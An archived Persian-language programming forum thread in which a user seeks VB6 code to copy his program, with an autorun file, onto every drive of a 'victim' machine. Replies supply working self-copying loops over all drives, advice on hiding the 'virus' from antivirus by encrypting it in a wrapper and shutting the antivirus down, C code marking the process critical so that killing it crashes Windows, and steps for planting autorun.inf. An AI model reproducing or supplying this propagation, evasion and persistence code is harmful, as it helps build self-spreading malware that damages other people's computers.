PDA

View Full Version : سوال: کپی کردن خود نرم افزار



Farbod EZRaeL
دوشنبه 14 مرداد 1392, 20:42 عصر
سلام دوستان بنده یک نرم افزاری نوشته ام نیاز دارم این نرم افزار رو توی همه درایوها همراه یک فایل اتوران کپی کنم این سورس باید به گونه ای باشه که اول تشخیص بده ویکتیم چه درایور هایي داره، کسی همچین سورسی داره همه تاپیک ها و گوگل گشتم چیزی نبود که به کار بنده بیاد ممنون از یاری سبز شما

Mr'Jamshidy
دوشنبه 14 مرداد 1392, 23:17 عصر
این چیزی که شما داری میگی خیلی شبیه ویروس هست البته نمیدونم والا :متفکر:

تابع CopyFile یا FileCopy درست یادم نیست کمکت میکنه

اما این کارا قدیمی شده، حتی اگر برنامه ویروس نباشه که بعید میدونم، آنتی ویروس ها به محض این که ببینن برنامه ای داره خودش رو کپی میکنه با یک برخورد ضربتی تیر تو پرش میکنن

Farbod EZRaeL
سه شنبه 15 مرداد 1392, 14:35 عصر
Private Sub Form_Load()

If Right(App.Path, 1) = "\" Then
CurrentPnF = App.Path & App.EXEName
Else
CurrentPnF = App.Path & "\" & App.EXEName & ".exe"
End If

Dim FSO As New FileSystemObject

If FSO.FolderExists("d:\Backup") Then
FileCopy CurrentPnF, "d:\Backup\" & App.EXEName & ".exe"
MsgBox "Backup Successful"
End If

End Sub
مشکل کجاست؟

mehran901
سه شنبه 15 مرداد 1392, 15:37 عصر
دوست عزیز راه واسه این کار خیلی زیاده ولی ی راه سادش Fso هست به این شکل بنویسین :

Dim drive1 As Drive
Dim k As New FileSystemObject
For Each drive1 In k.Drives
If drive1.IsReady Then FileCopy App.Path & "\" & App.EXEName & ".exe", drive1 & "\" & App.EXEName & ".exe"
Next

mehran901
سه شنبه 15 مرداد 1392, 15:41 عصر
Private Sub Form_Load() If Right(App.Path, 1) = "\" Then CurrentPnF = App.Path & App.EXEName Else CurrentPnF = App.Path & "\" & App.EXEName & ".exe" End If Dim FSO As New FileSystemObject If FSO.FolderExists("d:\Backup") Then FileCopy CurrentPnF, "d:\Backup\" & App.EXEName & ".exe" MsgBox "Backup Successful" End If End Sub مشکل کجاست؟

رفرنس microsoft scripting runtime رو ادد نکردی یا از طریق کد نویسی باید اد کنی یا از طریق منوی رفرنس ، از طریق کد نویسی مثلا به طور مشابه زیر باید عمل کنی
dim a1 as object
set a1 = createobject("scripting.filesystemobject")


درضمن برای اینکه ویروست رو آنتی ویروس نشناسه به نظرم فقط یک راه وجود داره ، خیلی خلاصه بگم که شما ی wrapper با سی++ باید واسه برنامت بنویسی به این صورت که با الگوریتم kgb ویروست رو کد کنه در این صورت تا وقتی دکد نشده باشه آنتی ویروس نمیتونه شناساییش کنه ، بعد شما آنتی ویروس رو با اجرا شدن اون فایل wrapper ببندی ، (من این کارو انجام دادم پس مسئله نشدنی ای نیست! ) حالا که بسته شد ویروست رو دکد کنه و فعال بشه ... اگه ویروس رو 2 هسته ای بنویسی دیگه از رو سیستم پاک نمیشه یا حتی به طور نمونه میتونی از برنامه نمونه من الگو بگیری، برای اینکه بعد از فعال شدن ویروس تحت هیچ عنوان آنتی ویروس هم نتونه اون رو غیرفعال کنه چرا که کوچکترین اختلال در کار ویروس شما باعث میشه کارکرد ویندوز مختل بشه و سیستم ریست بشه


#include <windows.h>
#include <stdio.h>


typedef VOID ( _stdcall *RtlSetProcessIsCritical ) (
IN BOOLEAN NewValue,
OUT PBOOLEAN OldValue, )
IN BOOLEAN IsWinlogon );

BOOL EnablePriv(LPCSTR lpszPriv)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkprivs;
ZeroMemory(&tkprivs, sizeof(tkprivs));

if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))
return FALSE;

if(!LookupPrivilegeValue(NULL, lpszPriv, &luid)){
CloseHandle(hToken); return FALSE;
}

tkprivs.PrivilegeCount = 1;
tkprivs.Privileges[0].Luid = luid;
tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);
CloseHandle(hToken);
return bRet;
}

BOOL ProtectProcess() _
{
HANDLE hDLL;
RtlSetProcessIsCritical fSetCritical;

hDLL = LoadLibraryA("ntdll.dll");
if ( hDLL != NULL )
{
EnablePriv(SE_DEBUG_NAME);
(fSetCritical) = (RtlSetProcessIsCritical) GetProcAddress( (HINSTANCE)hDLL, "RtlSetProcessIsCritical" );
if(!fSetCritical) return 0;
fSetCritical(1,0,0);
return 1;
} else
return 0;
}

int main (void)
{
ProtectProcess();
while(1)
{
// too in ghesmat barnameye decodo mitooni benvisi ya kole viruset ro

}
return 0;
}




البته من فقط هدفم کمک کردن بود برا همین بیشتر توضیح ندادم که خیلی با قوانین مخالفت نکنه :D

Farbod EZRaeL
سه شنبه 15 مرداد 1392, 16:09 عصر
دوست عزیز راه واسه این کار خیلی زیاده ولی ی راه سادش Fso هست به این شکل بنویسین :

Dim drive1 As Drive
Dim k As New FileSystemObject
For Each drive1 In k.Drives
If drive1.IsReady Then FileCopy App.Path & &quot;\&quot; & App.EXEName & &quot;.exe&quot;, drive1 & &quot;\&quot; & App.EXEName & &quot;.exe&quot;
Next


اینارو میدونم من مشکلم اینجاست که هر کاری می کنم بازم error run time 53 میده میشه یک نمونه کد پیوست کنید

mehran901
سه شنبه 15 مرداد 1392, 16:16 عصر
خب یکی از علت هایی که این ارور رو میده این هست که تو درایو هایی از قبیل سی دی میخواد خودش رو کپی کنه یادمه ی نکاتی دراین رابطه وجود داشت که رعایت نمیشد اررور میداد و یکی دیگه از موارد اینه که شما باید فایل خروجی نهایی رو اجرا کنین
این سورس :

Option Explicit

Private Sub Form_Load()
On Error Resume Next
Dim k As New FileSystemObject
Dim a As Drive
For Each a In k.Drives
mkdir a & "\TestFolder"
Next

End Sub


فایل خروجیشم ضمیمه شده ، تو همه درایو ها فولدر میسازه با اسم TestFolder
108620

Farbod EZRaeL
سه شنبه 15 مرداد 1392, 16:29 عصر
خوب اینکه فقط فولدر میسازه فایل اصلی که می خوایم کپی نمیکنه من یک فایل دارم روی دسکتاپ وقتی اجرا شد می‌خوام توی همه درایوها کپی بشه چیکار کنم؟

mehran901
سه شنبه 15 مرداد 1392, 16:31 عصر
عزیز همونه دیگه فرقی نداره که باهاش کار کن درست میشه اون کدی که نوشتم متغییر Drive1 شامل همه درایوهای سیستمت میشه حالا با filecopy یا با Fso فایل رو کپی کن ، میشه! on error resume next هم بذار که مشکلی پیش اومد متوقف نشه

شما بنویس filecopy app.path & "\" app.exename & ".exe" , drive1 & "\" & app.exename & ".exe"

Farbod EZRaeL
سه شنبه 15 مرداد 1392, 16:36 عصر
درست به driver1 ارور میده
Private Sub Form_Load()

On Error Resume Next

Dim k As New FileSystemObject

For Each drive1 In k.Drives

If drive1.IsReady Then FileCopy App.Path & "\" & App.EXEName & ".exe", drive1 & "\" & App.EXEName & ".exe"

Next

End Sub

mehran901
سه شنبه 15 مرداد 1392, 16:41 عصر
نمونش رو ضمیمه کردم ، برادر گفتم شما تو محیط کامپایلر نمیتونی برنامه رو ران کنی خروجیشو باید ران کنی !!!

108621

سورس :

Option Explicit

Private Sub Form_Load()
On Error Resume Next
Dim k As New FileSystemObject
Dim a As Drive

For Each a In k.Drives

k.CopyFile App.Path & "\" & App.EXEName & ".exe", a & "\" & App.EXEName & ".exe", True

Next

End Sub

Farbod EZRaeL
سه شنبه 15 مرداد 1392, 18:19 عصر
بنده اگه بخوام یک autorun.inf همراه این نرم افزار در درایورها کپی کنم باید چه کاری کنم؟

mehran901
سه شنبه 15 مرداد 1392, 18:24 عصر
1- فایل اتوران رو در ریسورس قرار بدین و اونو تو هر درایو اکسترکت کنین 2- باید با دستورات باز و بستن فایل آشنا باشین و ی فایل با دسترسی ترتیبی بسازین متن اتوران رو داخلش قرار بدین ولی چون با قوانین مغایرت داره بیشتر از این توضیح نمیدم